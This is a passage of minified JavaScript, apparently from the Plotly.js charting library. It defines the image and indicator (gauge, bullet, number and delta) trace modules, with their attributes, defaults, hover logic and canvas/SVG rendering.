M=e(9012),P=e(5386).fF,o=e(1426).extendFlat,L=e(51877).colormodel,S=["rgb","rgba","rgba256","hsl","hsla"],d=[],g=[],t=0;t<S.length;t++){var r=L[S[t]];d.push("For the `"+S[t]+"` colormodel, it is ["+(r.zminDflt||r.min).join(", ")+"]."),g.push("For the `"+S[t]+"` colormodel, it is ["+(r.zmaxDflt||r.max).join(", ")+"].")}te.exports=o({source:{valType:"string",editType:"calc"},z:{valType:"data_array",editType:"calc"},colormodel:{valType:"enumerated",values:S,editType:"calc"},zsmooth:{valType:"enumerated",values:["fast",!1],dflt:!1,editType:"plot"},zmin:{valType:"info_array",items:[{valType:"number",editType:"calc"},{valType:"number",editType:"calc"},{valType:"number",editType:"calc"},{valType:"number",editType:"calc"}],editType:"calc"},zmax:{valType:"info_array",items:[{valType:"number",editType:"calc"},{valType:"number",editType:"calc"},{valType:"number",editType:"calc"},{valType:"number",editType:"calc"}],editType:"calc"},x0:{valType:"any",dflt:0,editType:"calc+clearAxisTypes"},y0:{valType:"any",dflt:0,editType:"calc+clearAxisTypes"},dx:{valType:"number",dflt:1,editType:"calc"},dy:{valType:"number",dflt:1,editType:"calc"},text:{valType:"data_array",editType:"plot"},hovertext:{valType:"data_array",editType:"plot"},hoverinfo:o({},M.hoverinfo,{flags:["x","y","z","color","name","text"],dflt:"x+y+z+text+name"}),hovertemplate:P({},{keys:["z","color","colormodel"]}),transforms:void 0})},71113:function(te,Z,e){var M=e(71828),P=e(51877),o=e(92770),L=e(89298),S=e(71828).maxRowLength,d=e(67395).A;te.exports=function(a,l){var u,s;if(l._hasZ)u=l.z.length,s=S(l.z);else if(l._hasSource){var y=d(l.source);u=y.height,s=y.width}var c=L.getFromId(a,l.xaxis||"x"),b=L.getFromId(a,l.yaxis||"y"),h=c.d2c(l.x0)-l.dx/2,i=b.d2c(l.y0)-l.dy/2,v,T=[h,h+s*l.dx],w=[i,i+u*l.dy];if(c&&c.type==="log")for(v=0;v<s;v++)T.push(h+v*l.dx);if(b&&b.type==="log")for(v=0;v<u;v++)w.push(i+v*l.dy);l._extremes[c._id]=L.findExtremes(c,T),l._extremes[b._id]=L.findExtremes(b,w),l._scaler=r(l);var E={x0:h,y0:i,z:l.z,w:s,h:u};return[E]};function g(f,a,l,u){return function(s){return M.constrain((s-f)*a,l,u)}}function t(f,a){return function(l){return M.constrain(l,f,a)}}function r(f){var a=P.colormodel[f.colormodel],l=a.colormodel||f.colormodel,u=l.length;f._sArray=[];for(var s=0;s<u;s++)a.min[s]!==f.zmin[s]||a.max[s]!==f.zmax[s]?f._sArray.push(g(f.zmin[s],(a.max[s]-a.min[s])/(f.zmax[s]-f.zmin[s]),a.min[s],a.max[s])):f._sArray.push(t(a.min[s],a.max[s]));return function(y){for(var c=y.slice(0,u),b=0;b<u;b++){var h=c[b];if(!o(h))return!1;c[b]=f._sArray[b](h)}return c}}},51877:function(te){te.exports={colormodel:{rgb:{min:[0,0,0],max:[255,255,255],fmt:function(Z){return Z.slice(0,3)},suffix:["","",""]},rgba:{min:[0,0,0,0],max:[255,255,255,1],fmt:function(Z){return Z.slice(0,4)},suffix:["","","",""]},rgba256:{colormodel:"rgba",zminDflt:[0,0,0,0],zmaxDflt:[255,255,255,255],min:[0,0,0,0],max:[255,255,255,1],fmt:function(Z){return Z.slice(0,4)},suffix:["","","",""]},hsl:{min:[0,0,0],max:[360,100,100],fmt:function(Z){var e=Z.slice(0,3);return e[1]=e[1]+"%",e[2]=e[2]+"%",e},suffix:["°","%","%"]},hsla:{min:[0,0,0,0],max:[360,100,100,1],fmt:function(Z){var e=Z.slice(0,4);return e[1]=e[1]+"%",e[2]=e[2]+"%",e},suffix:["°","%","%",""]}}}},13245:function(te,Z,e){var M=e(71828),P=e(17230),o=e(51877),L=e(25095).IMAGE_URL_PREFIX;te.exports=function(d,g){function t(a,l){return M.coerce(d,g,P,a,l)}t("source"),g.source&&!g.source.match(L)&&delete g.source,g._hasSource=!!g.source;var r=t("z");if(g._hasZ=!(r===void 0||!r.length||!r[0]||!r[0].length),!g._hasZ&&!g._hasSource){g.visible=!1;return}t("x0"),t("y0"),t("dx"),t("dy");var f;g._hasZ?(t("colormodel","rgb"),f=o.colormodel[g.colormodel],t("zmin",f.zminDflt||f.min),t("zmax",f.zmaxDflt||f.max)):g._hasSource&&(g.colormodel="rgba256",f=o.colormodel[g.colormodel],g.zmin=f.zminDflt,g.zmax=f.zmaxDflt),t("zsmooth"),t("text"),t("hovertext"),t("hovertemplate"),g._length=null}},30835:function(te){te.exports=function(e,M){return"xVal"in M&&(e.x=M.xVal),"yVal"in M&&(e.y=M.yVal),M.xa&&(e.xaxis=M.xa),M.ya&&(e.yaxis=M.ya),e.color=M.color,e.colormodel=M.trace.colormodel,e.z||(e.z=M.color),e}},67395:function(te,Z,e){var M=e(33575),P=e(25095).IMAGE_URL_PREFIX,o=e(12856).Buffer;Z.A=function(L){var S=L.replace(P,""),d=new o(S,"base64");return M(d)}},28749:function(te,Z,e){var M=e(30211),P=e(71828),o=e(51877);te.exports=function(S,d,g){var t=S.cd[0],r=t.trace,f=S.xa,a=S.ya;if(!(M.inbox(d-t.x0,d-(t.x0+t.w*r.dx),0)>0||M.inbox(g-t.y0,g-(t.y0+t.h*r.dy),0)>0)){var l=Math.floor((d-t.x0)/r.dx),u=Math.floor(Math.abs(g-t.y0)/r.dy),s;if(r._hasZ?s=t.z[u][l]:r._hasSource&&(s=r._canvas.el.getContext("2d",{willReadFrequently:!0}).getImageData(l,u,1,1).data),!!s){var y=t.hi||r.hoverinfo,c;if(y){var b=y.split("+");b.indexOf("all")!==-1&&(b=["color"]),b.indexOf("color")!==-1&&(c=!0)}var h=o.colormodel[r.colormodel],i=h.colormodel||r.colormodel,v=i.length,T=r._scaler(s),w=h.suffix,E=[];(r.hovertemplate||c)&&(E.push("["+[T[0]+w[0],T[1]+w[1],T[2]+w[2]].join(", ")),v===4&&E.push(", "+T[3]+w[3]),E.push("]"),E=E.join(""),S.extraText=i.toUpperCase()+": "+E);var p;Array.isArray(r.hovertext)&&Array.isArray(r.hovertext[u])?p=r.hovertext[u][l]:Array.isArray(r.text)&&Array.isArray(r.text[u])&&(p=r.text[u][l]);var A=a.c2p(t.y0+(u+.5)*r.dy),m=t.x0+(l+.5)*r.dx,n=t.y0+(u+.5)*r.dy,C="["+s.slice(0,r.colormodel.length).join(", ")+"]";return[P.extendFlat(S,{index:[u,l],x0:f.c2p(t.x0+l*r.dx),x1:f.c2p(t.x0+(l+1)*r.dx),y0:A,y1:A,color:T,xVal:m,xLabelVal:m,yVal:n,yLabelVal:n,zLabelVal:C,text:p,hovertemplateLabels:{zLabel:C,colorLabel:E,"color[0]Label":T[0]+w[0],"color[1]Label":T[1]+w[1],"color[2]Label":T[2]+w[2],"color[3]Label":T[3]+w[3]}})]}}}},94507:function(te,Z,e){te.exports={attributes:e(17230),supplyDefaults:e(13245),calc:e(71113),plot:e(60775),style:e(12826),hoverPoints:e(28749),eventData:e(30835),moduleType:"trace",name:"image",basePlotModule:e(93612),categories:["cartesian","svg","2dMap","noSortingByValue"],animatable:!1,meta:{}}},60775:function(te,Z,e){var M=e(39898),P=e(71828),o=P.strTranslate,L=e(77922),S=e(51877),d=e(3883),g=e(32396).STYLE;te.exports=function(r,f,a,l){var u=f.xaxis,s=f.yaxis,y=!r._context._exportedPlot&&d();P.makeTraceGroups(l,a,"im").each(function(c){var b=M.select(this),h=c[0],i=h.trace,v=(i.zsmooth==="fast"||i.zsmooth===!1&&y)&&!i._hasZ&&i._hasSource&&u.type==="linear"&&s.type==="linear";i._realImage=v;var T=h.z,w=h.x0,E=h.y0,p=h.w,A=h.h,m=i.dx,n=i.dy,C,x,I,k,B,_;for(_=0;C===void 0&&_<p;)C=u.c2p(w+_*m),_++;for(_=p;x===void 0&&_>0;)x=u.c2p(w+_*m),_--;for(_=0;k===void 0&&_<A;)k=s.c2p(E+_*n),_++;for(_=A;B===void 0&&_>0;)B=s.c2p(E+_*n),_--;if(x<C&&(I=x,x=C,C=I),B<k&&(I=k,k=B,B=I),!v){var F=.5;C=Math.max(-F*u._length,C),x=Math.min((1+F)*u._length,x),k=Math.max(-F*s._length,k),B=Math.min((1+F)*s._length,B)}var O=Math.round(x-C),z=Math.round(B-k),N=O<=0||z<=0;if(N){var G=b.selectAll("image").data([]);G.exit().remove();return}function J(j){var K=document.createElement("canvas");K.width=O,K.height=z;var oe=K.getContext("2d",{willReadFrequently:!0}),re=function(Oe){return P.constrain(Math.round(u.c2p(w+Oe*m)-C),0,O)},le=function(Oe){return P.constrain(Math.round(s.c2p(E+Oe*n)-k),0,z)},pe=S.colormodel[i.colormodel],we=pe.colormodel||i.colormodel,xe=pe.fmt,ke;for(_=0;_<h.w;_++){var _e=re(_),be=re(_+1);if(!(be===_e||isNaN(be)||isNaN(_e)))for(var ge=0;ge<h.h;ge++){var Te=le(ge),Fe=le(ge+1);Fe===Te||isNaN(Fe)||isNaN(Te)||!j(_,ge)||(ke=i._scaler(j(_,ge)),ke?oe.fillStyle=we+"("+xe(ke).join(",")+")":oe.fillStyle="rgba(0,0,0,0)",oe.fillRect(_e,Te,be-_e,Fe-Te))}}return K}var q=b.selectAll("image").data([c]);q.enter().append("svg:image").attr({xmlns:L.svg,preserveAspectRatio:"none"}),q.exit().remove();var ne=i.zsmooth===!1?g:"";if(v){var fe=P.simpleMap(u.range,u.r2l),X=P.simpleMap(s.range,s.r2l),W=fe[1]<fe[0],V=X[1]>X[0];if(W||V){var Y=C+O/2,Q=k+z/2;ne+="transform:"+o(Y+"px",Q+"px")+"scale("+(W?-1:1)+","+(V?-1:1)+")"+o(-Y+"px",-Q+"px")+";"}}q.attr("style",ne);var ie=new Promise(function(j){if(i._hasZ)j();else if(i._hasSource)if(i._canvas&&i._canvas.el.width===p&&i._canvas.el.height===A&&i._canvas.source===i.source)j();else{var K=document.createElement("canvas");K.width=p,K.height=A;var oe=K.getContext("2d",{willReadFrequently:!0});i._image=i._image||new Image;var re=i._image;re.onload=function(){oe.drawImage(re,0,0),i._canvas={el:K,source:i.source},j()},re.setAttribute("src",i.source)}}).then(function(){var j,K;if(i._hasZ)K=J(function(le,pe){return T[pe][le]}),j=K.toDataURL("image/png");else if(i._hasSource)if(v)j=i.source;else{var oe=i._canvas.el.getContext("2d",{willReadFrequently:!0}),re=oe.getImageData(0,0,p,A).data;K=J(function(le,pe){var we=4*(pe*p+le);return[re[we],re[we+1],re[we+2],re[we+3]]}),j=K.toDataURL("image/png")}q.attr({"xlink:href":j,height:z,width:O,x:C,y:k})});r._promises.push(ie)})}},12826:function(te,Z,e){var M=e(39898);te.exports=function(o){M.select(o).selectAll(".im image").style("opacity",function(L){return L[0].trace.opacity})}},54846:function(te,Z,e){var M=e(1426).extendFlat,P=e(1426).extendDeep,o=e(30962).overrideAll,L=e(41940),S=e(22399),d=e(27670).Y,g=e(13838),t=e(44467).templatedArray,r=e(22372),f=e(12663).descriptionOnlyNumbers,a=L({editType:"plot",colorEditType:"plot"}),l={color:{valType:"color",editType:"plot"},line:{color:{valType:"color",dflt:S.defaultLine,editType:"plot"},width:{valType:"number",min:0,dflt:0,editType:"plot"},editType:"calc"},thickness:{valType:"number",min:0,max:1,dflt:1,editType:"plot"},editType:"calc"},u={valType:"info_array",items:[{valType:"number",editType:"plot"},{valType:"number",editType:"plot"}],editType:"plot"},s=t("step",P({},l,{range:u}));te.exports={mode:{valType:"flaglist",editType:"calc",flags:["number","delta","gauge"],dflt:"number"},value:{valType:"number",editType:"calc",anim:!0},align:{valType:"enumerated",values:["left","center","right"],editType:"plot"},domain:d({name:"indicator",trace:!0,editType:"calc"}),title:{text:{valType:"string",editType:"plot"},align:{valType:"enumerated",values:["left","center","right"],editType:"plot"},font:M({},a,{}),editType:"plot"},number:{valueformat:{valType:"string",dflt:"",editType:"plot",description:f("value")},font:M({},a,{}),prefix:{valType:"string",dflt:"",editType:"plot"},suffix:{valType:"string",dflt:"",editType:"plot"},editType:"plot"},delta:{reference:{valType:"number",editType:"calc"},position:{valType:"enumerated",values:["top","bottom","left","right"],dflt:"bottom",editType:"plot"},relative:{valType:"boolean",editType:"plot",dflt:!1},valueformat:{valType:"string",editType:"plot",description:f("value")},increasing:{symbol:{valType:"string",dflt:r.INCREASING.SYMBOL,editType:"plot"},color:{valType:"color",dflt:r.INCREASING.COLOR,editType:"plot"},editType:"plot"},decreasing:{symbol:{valType:"string",dflt:r.DECREASING.SYMBOL,editType:"plot"},color:{valType:"color",dflt:r.DECREASING.COLOR,editType:"plot"},editType:"plot"},font:M({},a,{}),prefix:{valType:"string",dflt:"",editType:"plot"},suffix:{valType:"string",dflt:"",editType:"plot"},editType:"calc"},gauge:{shape:{valType:"enumerated",editType:"plot",dflt:"angular",values:["angular","bullet"]},bar:P({},l,{color:{dflt:"green"}}),bgcolor:{valType:"color",editType:"plot"},bordercolor:{valType:"color",dflt:S.defaultLine,editType:"plot"},borderwidth:{valType:"number",min:0,dflt:1,editType:"plot"},axis:o({range:u,visible:M({},g.visible,{dflt:!0}),tickmode:g.minor.tickmode,nticks:g.nticks,tick0:g.tick0,dtick:g.dtick,tickvals:g.tickvals,ticktext:g.ticktext,ticks:M({},g.ticks,{dflt:"outside"}),ticklen:g.ticklen,tickwidth:g.tickwidth,tickcolor:g.tickcolor,ticklabelstep:g.ticklabelstep,showticklabels:g.showticklabels,labelalias:g.labelalias,tickfont:L({}),tickangle:g.tickangle,tickformat:g.tickformat,tickformatstops:g.tickformatstops,tickprefix:g.tickprefix,showtickprefix:g.showtickprefix,ticksuffix:g.ticksuffix,showticksuffix:g.showticksuffix,separatethousands:g.separatethousands,exponentformat:g.exponentformat,minexponent:g.minexponent,showexponent:g.showexponent,editType:"plot"},"plot"),steps:s,threshold:{line:{color:M({},l.line.color,{}),width:M({},l.line.width,{dflt:1}),editType:"plot"},thickness:M({},l.thickness,{dflt:.85}),value:{valType:"number",editType:"calc",dflt:!1},editType:"plot"},editType:"plot"}}},15970:function(te,Z,e){var M=e(74875);Z.name="indicator",Z.plot=function(P,o,L,S){M.plotBasePlot(Z.name,P,o,L,S)},Z.clean=function(P,o,L,S){M.cleanBasePlot(Z.name,P,o,L,S)}},24667:function(te){function Z(e,M){var P=[],o=M.value;typeof M._lastValue!="number"&&(M._lastValue=M.value);var L=M._lastValue,S=L;return M._hasDelta&&typeof M.delta.reference=="number"&&(S=M.delta.reference),P[0]={y:o,lastY:L,delta:o-S,relativeDelta:(o-S)/S},P}te.exports={calc:Z}},84577:function(te){te.exports={defaultNumberFontSize:80,bulletNumberDomainSize:.25,bulletPadding:.025,innerRadius:.75,valueThickness:.5,titlePadding:5,horizontalPadding:10}},94425:function(te,Z,e){var M=e(71828),P=e(54846),o=e(27670).c,L=e(44467),S=e(85501),d=e(84577),g=e(26218),t=e(38701),r=e(96115),f=e(89426);function a(u,s,y,c){function b(B,_){return M.coerce(u,s,P,B,_)}o(s,c,b),b("mode"),s._hasNumber=s.mode.indexOf("number")!==-1,s._hasDelta=s.mode.indexOf("delta")!==-1,s._hasGauge=s.mode.indexOf("gauge")!==-1;var h=b("value");s._range=[0,typeof h=="number"?1.5*h:1];var i=new Array(2),v;s._hasNumber&&(b("number.valueformat"),b("number.font.color",c.font.color),b("number.font.family",c.font.family),b("number.font.size"),s.number.font.size===void 0&&(s.number.font.size=d.defaultNumberFontSize,i[0]=!0),b("number.prefix"),b("number.suffix"),v=s.number.font.size);var T;s._hasDelta&&(b("delta.font.color",c.font.color),b("delta.font.family",c.font.family),b("delta.font.size"),s.delta.font.size===void 0&&(s.delta.font.size=(s._hasNumber?.5:1)*(v||d.defaultNumberFontSize),i[1]=!0),b("delta.reference",s.value),b("delta.relative"),b("delta.valueformat",s.delta.relative?"2%":""),b("delta.increasing.symbol"),b("delta.increasing.color"),b("delta.decreasing.symbol"),b("delta.decreasing.color"),b("delta.position"),b("delta.prefix"),b("delta.suffix"),T=s.delta.font.size),s._scaleNumbers=(!s._hasNumber||i[0])&&(!s._hasDelta||i[1])||!1,b("title.font.color",c.font.color),b("title.font.family",c.font.family),b("title.font.size",.25*(v||T||d.defaultNumberFontSize)),b("title.text");var w,E,p,A;function m(B,_){return M.coerce(w,E,P.gauge,B,_)}function n(B,_){return M.coerce(p,A,P.gauge.axis,B,_)}if(s._hasGauge){w=u.gauge,w||(w={}),E=L.newContainer(s,"gauge"),m("shape");var C=s._isBullet=s.gauge.shape==="bullet";C||b("title.align","center");var x=s._isAngular=s.gauge.shape==="angular";x||b("align","center"),m("bgcolor",c.paper_bgcolor),m("borderwidth"),m("bordercolor"),m("bar.color"),m("bar.line.color"),m("bar.line.width");var I=d.valueThickness*(s.gauge.shape==="bullet"?.5:1);m("bar.thickness",I),S(w,E,{name:"steps",handleItemDefaults:l}),m("threshold.value"),m("threshold.thickness"),m("threshold.line.width"),m("threshold.line.color"),p={},w&&(p=w.axis||{}),A=L.newContainer(E,"axis"),n("visible"),s._range=n("range",s._range);var k={outerTicks:!0};g(p,A,n,"linear"),f(p,A,n,"linear",k),r(p,A,n,"linear",k),t(p,A,n,k)}else b("title.align","center"),b("align","center"),s._isAngular=s._isBullet=!1;s._length=null}function l(u,s){function y(c,b){return M.coerce(u,s,P.gauge.steps,c,b)}y("color"),y("line.color"),y("line.width"),y("range"),y("thickness")}te.exports={supplyDefaults:a}},15154:function(te,Z,e){te.exports={moduleType:"trace",name:"indicator",basePlotModule:e(15970),categories:["svg","noOpacity","noHover"],animatable:!0,attributes:e(54846),supplyDefaults:e(94425).supplyDefaults,calc:e(24667).calc,plot:e(75634),meta:{}}},75634:function(te,Z,e){var M=e(39898),P=e(81684).sX,o=e(81684).k4,L=e(71828),S=L.strScale,d=L.strTranslate,g=L.rad2deg,t=e(18783).MID_SHIFT,r=e(91424),f=e(84577),a=e(63893),l=e(89298),u=e(71453),s=e(52830),y=e(13838),c=e(7901),b={left:"start",center:"middle",right:"end"},h={left:0,center:.5,right:1},i=/[yzafpnµmkMGTPEZY]/;function v(k){return k&&k.duration>0}te.exports=function(B,_,F,O){var z=B._fullLayout,N;v(F)&&O&&(N=O()),L.makeTraceGroups(z._indicatorlayer,_,"trace").each(function(G){var J=G[0],q=J.trace,ne=M.select(this),fe=q._hasGauge,X=q._isAngular,W=q._isBullet,V=q.domain,Y={w:z._size.w*(V.x[1]-V.x[0]),h:z._size.h*(V.y[1]-V.y[0]),l:z._size.l+z._size.w*V.x[0],r:z._size.r+z._size.w*(1-V.x[1]),t:z._size.t+z._size.h*(1-V.y[1]),b:z._size.b+z._size.h*V.y[0]},Q=Y.l+Y.w/2,ie=Y.t+Y.h/2,j=Math.min(Y.w/2,Y.h),K=f.innerRadius*j,oe,re,le,pe=q.align||"center";if(re=ie,!fe)oe=Y.l+h[pe]*Y.w,le=function(Ce){return n(Ce,Y.w,Y.h)};else if(X&&(oe=Q,re=ie+j/2,le=function(Ce){return C(Ce,.9*K)}),W){var we=f.bulletPadding,xe=1-f.bulletNumberDomainSize+we;oe=Y.l+(xe+(1-xe)*h[pe])*Y.w,le=function(Ce){return n(Ce,(f.bulletNumberDomainSize-we)*Y.w,Y.h)}}E(B,ne,G,{numbersX:oe,numbersY:re,numbersScaler:le,transitionOpts:F,onComplete:N});var ke,_e;fe&&(ke={range:q.gauge.axis.range,color:q.gauge.bgcolor,line:{color:q.gauge.bordercolor,width:0},thickness:1},_e={range:q.gauge.axis.range,color:"rgba(0, 0, 0, 0)",line:{color:q.gauge.bordercolor,width:q.gauge.borderwidth},thickness:1});var be=ne.selectAll("g.angular").data(X?G:[]);be.exit().remove();var ge=ne.selectAll("g.angularaxis").data(X?G:[]);ge.exit().remove(),X&&w(B,ne,G,{radius:j,innerRadius:K,gauge:be,layer:ge,size:Y,gaugeBg:ke,gaugeOutline:_e,transitionOpts:F,onComplete:N});var Te=ne.selectAll("g.bullet").data(W?G:[]);Te.exit().remove();var Fe=ne.selectAll("g.bulletaxis").data(W?G:[]);Fe.exit().remove(),W&&T(B,ne,G,{gauge:Te,layer:Fe,size:Y,gaugeBg:ke,gaugeOutline:_e,transitionOpts:F,onComplete:N});var Oe=ne.selectAll("text.title").data(G);Oe.exit().remove(),Oe.enter().append("text").classed("title",!0),Oe.attr("text-anchor",function(){return W?b.right:b[q.title.align]}).text(q.title.text).call(r.font,q.title.font).call(a.convertToTspans,B),Oe.attr("transform",function(){var Ce=Y.l+Y.w*h[q.title.align],Be,$e=f.titlePadding,Xe=r.bBox(Oe.node());if(fe){if(X)if(q.gauge.axis.visible){var Ze=r.bBox(ge.node());Be=Ze.top-$e-Xe.bottom}else Be=Y.t+Y.h/2-j/2-Xe.bottom-$e;W&&(Be=re-(Xe.top+Xe.bottom)/2,Ce=Y.l-f.bulletPadding*Y.w)}else Be=q._numbersTop-$e-Xe.bottom;return d(Ce,Be)})})};function T(k,B,_,F){var O=_[0].trace,z=F.gauge,N=F.layer,G=F.gaugeBg,J=F.gaugeOutline,q=F.size,ne=O.domain,fe=F.transitionOpts,X=F.onComplete,W,V,Y,Q,ie;z.enter().append("g").classed("bullet",!0),z.attr("transform",d(q.l,q.t)),N.enter().append("g").classed("bulletaxis",!0).classed("crisp",!0),N.selectAll("g.xbulletaxistick,path,text").remove();var j=q.h,K=O.gauge.bar.thickness*j,oe=ne.x[0],re=ne.x[0]+(ne.x[1]-ne.x[0])*(O._hasNumber||O._hasDelta?1-f.bulletNumberDomainSize:1);W=m(k,O.gauge.axis),W._id="xbulletaxis",W.domain=[oe,re],W.setScale(),V=l.calcTicks(W),Y=l.makeTransTickFn(W),Q=l.getTickSigns(W)[2],ie=q.t+q.h,W.visible&&(l.drawTicks(k,W,{vals:W.ticks==="inside"?l.clipEnds(W,V):V,layer:N,path:l.makeTickPath(W,ie,Q),transFn:Y}),l.drawLabels(k,W,{vals:V,layer:N,transFn:Y,labelFns:l.makeLabelFns(W,ie)}));function le(ge){ge.attr("width",function(Te){return Math.max(0,W.c2p(Te.range[1])-W.c2p(Te.range[0]))}).attr("x",function(Te){return W.c2p(Te.range[0])}).attr("y",function(Te){return .5*(1-Te.thickness)*j}).attr("height",function(Te){return Te.thickness*j})}var pe=[G].concat(O.gauge.steps),we=z.selectAll("g.bg-bullet").data(pe);we.enter().append("g").classed("bg-bullet",!0).append("rect"),we.select("rect").call(le).call(p),we.exit().remove();var xe=z.selectAll("g.value-bullet").data([O.gauge.bar]);xe.enter().append("g").classed("value-bullet",!0).append("rect"),xe.select("rect").attr("height",K).attr("y",(j-K)/2).call(p),v(fe)?xe.select("rect").transition().duration(fe.duration).ease(fe.easing).each("end",function(){X&&X()}).each("interrupt",function(){X&&X()}).attr("width",Math.max(0,W.c2p(Math.min(O.gauge.axis.range[1],_[0].y)))):xe.select("rect").attr("width",typeof _[0].y=="number"?Math.max(0,W.c2p(Math.min(O.gauge.axis.range[1],_[0].y))):0),xe.exit().remove();var ke=_.filter(function(){return O.gauge.threshold.value||O.gauge.threshold.value===0}),_e=z.selectAll("g.threshold-bullet").data(ke);_e.enter().append("g").classed("threshold-bullet",!0).append("line"),_e.select("line").attr("x1",W.c2p(O.gauge.threshold.value)).attr("x2",W.c2p(O.gauge.threshold.value)).attr("y1",(1-O.gauge.threshold.thickness)/2*j).attr("y2",(1-(1-O.gauge.threshold.thickness)/2)*j).call(c.stroke,O.gauge.threshold.line.color).style("stroke-width",O.gauge.threshold.line.width),_e.exit().remove();var be=z.selectAll("g.gauge-outline").data([J]);be.enter().append("g").classed("gauge-outline",!0).append("rect"),be.select("rect").call(le).call(p),be.exit().remove()}function w(k,B,_,F){var O=_[0].trace,z=F.size,N=F.radius,G=F.innerRadius,J=F.gaugeBg,q=F.gaugeOutline,ne=[z.l+z.w/2,z.t+z.h/2+N/2],fe=F.gauge,X=F.layer,W=F.transitionOpts,V=F.onComplete,Y=Math.PI/2;function Q(Ke){var st=O.gauge.axis.range[0],lt=O.gauge.axis.range[1],ut=(Ke-st)/(lt-st)*Math.PI-Y;return ut<-Y?-Y:ut>Y?Y:ut}function ie(Ke){return M.svg.arc().innerRadius((G+N)/2-Ke/2*(N-G)).outerRadius((G+N)/2+Ke/2*(N-G)).startAngle(-Y)}function j(Ke){Ke.attr("d",function(st){return ie(st.thickness).startAngle(Q(st.range[0])).endAngle(Q(st.range[1]))()})}var K,oe,re,le;fe.enter().append("g").classed("angular",!0),fe.attr("transform",d(ne[0],ne[1])),X.enter().append("g").classed("angularaxis",!0).classed("crisp",!0),X.selectAll("g.xangularaxistick,path,text").remove(),K=m(k,O.gauge.axis),K.type="linear",K.range=O.gauge.axis.range,K._id="xangularaxis",K.ticklabeloverflow="allow",K.setScale();var pe=function(Ke){return(K.range[0]-Ke.x)/(K.range[1]-K.range[0])*Math.PI+Math.PI},we={},xe=l.makeLabelFns(K,0),ke=xe.labelStandoff;we.xFn=function(Ke){var st=pe(Ke);return Math.cos(st)*ke},we.yFn=function(Ke){var st=pe(Ke),lt=Math.sin(st)>0?.2:1;return-Math.sin(st)*(ke+Ke.fontSize*lt)+Math.abs(Math.cos(st))*(Ke.fontSize*t)},we.anchorFn=function(Ke){var st=pe(Ke),lt=Math.cos(st);return Math.abs(lt)<.1?"middle":lt>0?"start":"end"},we.heightFn=function(Ke,st,lt){var ut=pe(Ke);return-.5*(1+Math.sin(ut))*lt};var _e=function(Ke){return d(ne[0]+N*Math.cos(Ke),ne[1]-N*Math.sin(Ke))};re=function(Ke){return _e(pe(Ke))};var be=function(Ke){var st=pe(Ke);return _e(st)+"rotate("+-g(st)+")"};if(oe=l.calcTicks(K),le=l.getTickSigns(K)[2],K.visible){le=K.ticks==="inside"?-1:1;var ge=(K.linewidth||1)/2;l.drawTicks(k,K,{vals:oe,layer:X,path:"M"+le*ge+",0h"+le*K.ticklen,transFn:be}),l.drawLabels(k,K,{vals:oe,layer:X,transFn:re,labelFns:we})}var Te=[J].concat(O.gauge.steps),Fe=fe.selectAll("g.bg-arc").data(Te);Fe.enter().append("g").classed("bg-arc",!0).append("path"),Fe.select("path").call(j).call(p),Fe.exit().remove();var Oe=ie(O.gauge.bar.thickness),Ce=fe.selectAll("g.value-arc").data([O.gauge.bar]);Ce.enter().append("g").classed("value-arc",!0).append("path");var Be=Ce.select("path");v(W)?(Be.transition().duration(W.duration).ease(W.easing).each("end",function(){V&&V()}).each("interrupt",function(){V&&V()}).attrTween("d",A(Oe,Q(_[0].lastY),Q(_[0].y))),O._lastValue=_[0].y):Be.attr("d",typeof _[0].y=="number"?Oe.endAngle(Q(_[0].y)):"M0,0Z"),Be.call(p),Ce.exit().remove(),Te=[];var $e=O.gauge.threshold.value;($e||$e===0)&&Te.push({range:[$e,$e],color:O.gauge.threshold.color,line:{color:O.gauge.threshold.line.color,width:O.gauge.threshold.line.width},thickness:O.gauge.threshold.thickness});var Xe=fe.selectAll("g.threshold-arc").data(Te);Xe.enter().append("g").classed("threshold-arc",!0).append("path"),Xe.select("path").call(j).call(p),Xe.exit().remove();var Ze=fe.selectAll("g.gauge-outline").data([q]);Ze.enter().append("g").classed("gauge-outline",!0).append("path"),Ze.select("path").call(j).call(p),Ze.exit().remove()}function E(k,B,_,F){var O=_[0].trace,z=F.numbersX,N=F.numbersY,G=O.align||"center",J=b[G],q=F.transitionOpts,ne=F.onComplete,fe=L.ensureSingle(B,"g","numbers"),X,W,V,Y=[];O._hasNumber&&Y.push("number"),O._hasDelta&&(Y.push("delta"),O.delta.position==="left"&&Y.reverse());var Q=fe.selectAll("text").data(Y);Q.enter().append("text"),Q.attr("text-anchor",function(){return J}).attr("class",function(_e){return _e}).attr("x",null).attr("y",null).attr("dx",null).attr("dy",null),Q.exit().remove();function ie(_e,be,ge,Te){if(_e.match("s")&&ge>=0!=Te>=0&&!be(ge).slice(-1).match(i)&&!be(Te).slice(-1).match(i)){var Fe=_e.slice().replace("s","f").replace(/\d+/,function(Ce){return parseInt(Ce)-1}),Oe=m(k,{tickformat:Fe});return function(Ce){return Math.abs(Ce)<1?l.tickText(Oe,Ce).text:be(Ce)}}else return be}function j(){var _e=m(k,{tickformat:O.number.valueformat},O._range);_e.setScale(),l.prepTicks(_e);var be=function(Ce){return l.tickText(_e,Ce).text},ge=O.number.suffix,Te=O.number.prefix,Fe=fe.select("text.number");function Oe(){var Ce=typeof _[0].y=="number"?Te+be(_[0].y)+ge:"-";Fe.text(Ce).call(r.font,O.number.font).call(a.convertToTspans,k)}return v(q)?Fe.transition().duration(q.duration).ease(q.easing).each("end",function(){Oe(),ne&&ne()}).each("interrupt",function(){Oe(),ne&&ne()}).attrTween("text",function(){var Ce=M.select(this),Be=o(_[0].lastY,_[0].y);O._lastValue=_[0].y;var $e=ie(O.number.valueformat,be,_[0].lastY,_[0].y);return function(Xe){Ce.text(Te+$e(Be(Xe))+ge)}}):Oe(),X=x(Te+be(_[0].y)+ge,O.number.font,J,k),Fe}function K(){var _e=m(k,{tickformat:O.delta.valueformat},O._range);_e.setScale(),l.prepTicks(_e);var be=function(Xe){return l.tickText(_e,Xe).text},ge=O.delta.suffix,Te=O.delta.prefix,Fe=function(Xe){var Ze=O.delta.relative?Xe.relativeDelta:Xe.delta;return Ze},Oe=function(Xe,Ze){return Xe===0||typeof Xe!="number"||isNaN(Xe)?"-":(Xe>0?O.delta.increasing.symbol:O.delta.decreasing.symbol)+Te+Ze(Xe)+ge},Ce=function(Xe){return Xe.delta>=0?O.delta.increasing.color:O.delta.decreasing.color};O._deltaLastValue===void 0&&(O._deltaLastValue=Fe(_[0]));var Be=fe.select("text.delta");Be.call(r.font,O.delta.font).call(c.fill,Ce({delta:O._deltaLastValue}));function $e(){Be.text(Oe(Fe(_[0]),be)).call(c.fill,Ce(_[0])).call(a.convertToTspans,k)}return 